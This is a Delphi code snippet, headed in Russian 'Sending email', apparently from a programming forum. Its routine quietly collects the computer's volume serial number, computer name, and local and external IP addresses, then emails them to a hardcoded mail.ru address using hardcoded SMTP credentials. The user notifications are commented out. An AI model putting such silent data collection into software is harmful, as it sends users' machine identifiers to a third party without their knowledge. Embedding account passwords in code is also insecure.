Отправка электронной почты

 function TPatchIASO.Sendmailtome(Sender: TObject):boolean;
var
i:integer;
Msgs: TIdMessage;
 
VolumeSerialNumber : DWORD;
MaximumComponentLength : DWORD;
FileSystemFlags : DWORD;
SerialNumber : string;
sc,n,dn:string;
MoniId:integer;
NameComp: array[0..255] of char;
size: dword;
  myFile : TextFile;
  text   : string;
 
begin
GetVolumeInformation('C:\',  nil, 0, @VolumeSerialNumber,
MaximumComponentLength, FileSystemFlags,  nil,  0);
SerialNumber := IntToHex(HiWord(VolumeSerialNumber), 4) + //  '-' +
IntToHex(LoWord(VolumeSerialNumber), 4);
 
  size := 256;
GetComputerName(Namecomp, size);
 
  with idSmtp1 do begin
Host:= 'smtp.mail.ru';
Port:=25;
Username:='iaso2018@mail.ru'; // логин
Password:='123456'; // 
AuthType :=satDefault;
  end;
 
//showmessage('отправляем письмецо');
 //(*
 with idMessage1 do
 begin
CharSet :='koi8-r'; //для корректного отображения кириллицы
From.Text:='iaso2018.ru';
Subject:='Имя из '; // тема
From.Address:='iaso2018@mail.ru'; // адрес отправителя
Recipients.EMailAddresses:='matvei_green@mail.ru';
Body.Text:='Имя: '+SerialNumber+#13#10+
'IP local: '+IdIPWatch1.LocalIP+#13#10+
'Ip internet: '+Idipwatch1.CurrentIP+#13#10+
'Name: '+Namecomp;
//+GetMyRealIP;//Memo1.Text; // текст сообщения
 end;
try
  try
   idSmtp1.Connect;
   idSmtp1.Send(idMessage1);
  // ShowMessage('Письмо отправлено!');
  except on E:Exception do
   begin
   // ShowMessage('Статус отправки: ERROR - '+E.Message +#10#9 + 'Письмо не отправлено');
 
  // Попытка открыть файл Test.txt для записи
  AssignFile(myFile, 'c:\IASO\Me.txt');
  ReWrite(myFile);
 
  // Запись нескольких известных слов в этот файл
  WriteLn(myFile, Idmessage1.body.text);
  WriteLn(myFile, 'Статус отправки: ERROR - '+E.Message +#10#9 + 'Письмо не отправлено');
 
 
  // Закрытие файла
  CloseFile(myFile);
   end;
  end;
 finally
  if idSmtp1.Connected
  then idSmtp1.Disconnect;
 end;
  //*)
 
end;